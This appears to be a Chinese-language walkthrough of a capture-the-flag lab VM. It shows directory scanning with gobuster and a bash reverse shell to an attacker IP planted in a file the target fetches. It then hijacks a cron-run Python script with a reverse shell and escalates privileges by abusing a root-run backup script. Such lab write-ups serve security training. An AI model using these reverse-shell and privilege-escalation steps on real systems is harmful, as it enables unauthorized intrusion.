环境准备
靶机链接:百度网盘 请输入提取码
提取码:a1bb
虚拟机网络链接模式:桥接模式
攻击机系统:kali linux 2021.1
信息收集
1.探测目标靶机
2.探测目标靶机开放端口和相应服务
3.gobuster dir -u http://192.168.1.108 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e
扫描目录,发现些信息
漏洞利用
1.查看网页
2.对cms目录进行扫描,发现有一个cc,访问查看
gobuster dir -u http://192.168.1.108/cms \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e
3.这里大概就是从本地拿一个文件的意思
GET /fb35519d63b892c0dcd1d527a983774f.sh
4.本地创建一个它要的文件,并写入反弹sell的命令
touch fb35519d63b892c0dcd1d527a983774f.sh
echo 'bash -c "bash -i >& /dev/tcp/192.168.1.106/4444 0>&1"' > fb35519d63b892c0dcd1d527a983774f.sh
5.反弹成功之后,查看家目录下的alice用户,发现script目录是一个满权限的文件夹
6.查看里面的信息后,看下log.py这个脚本
7.发现clear.log会每分钟开头执行一次
8.看源码分析,每分钟都会清理日志的意思,他会调用log.py
9.虽然可以利用,但是他这个脚本只能看,不能改,然而之前的script文件夹可是满权限,那么就可以让这个log.py文件改名,让我们自己写的脚本变为log.py
进行回弹shell操作
10.本地把脚本写好(谷歌python reverse shell 修改ip就行)
11.用wget上车上来,同时设置监听
权限提升
1.反弹shell成功后,看到一个backup(备份)文件夹
2.查看note.txt,大概就是告诉alice网站被黑客攻击了,让它备份到path.txt
3.查看path.txt啥也没有,退到根目录下(/和~不是一个目录)查看到一个backup.py的脚本
4.没有可利用的了 ,上传本地脚本pspy64(github里有)发现一个进程,是root执行的进程。
5.这个root下面也有一个backup.py 应该是一样的脚本,根据前面的脚本信息,把/root写入path.txt就能把root目录给复制一份
6.最终拿到flag,成功拿下!!!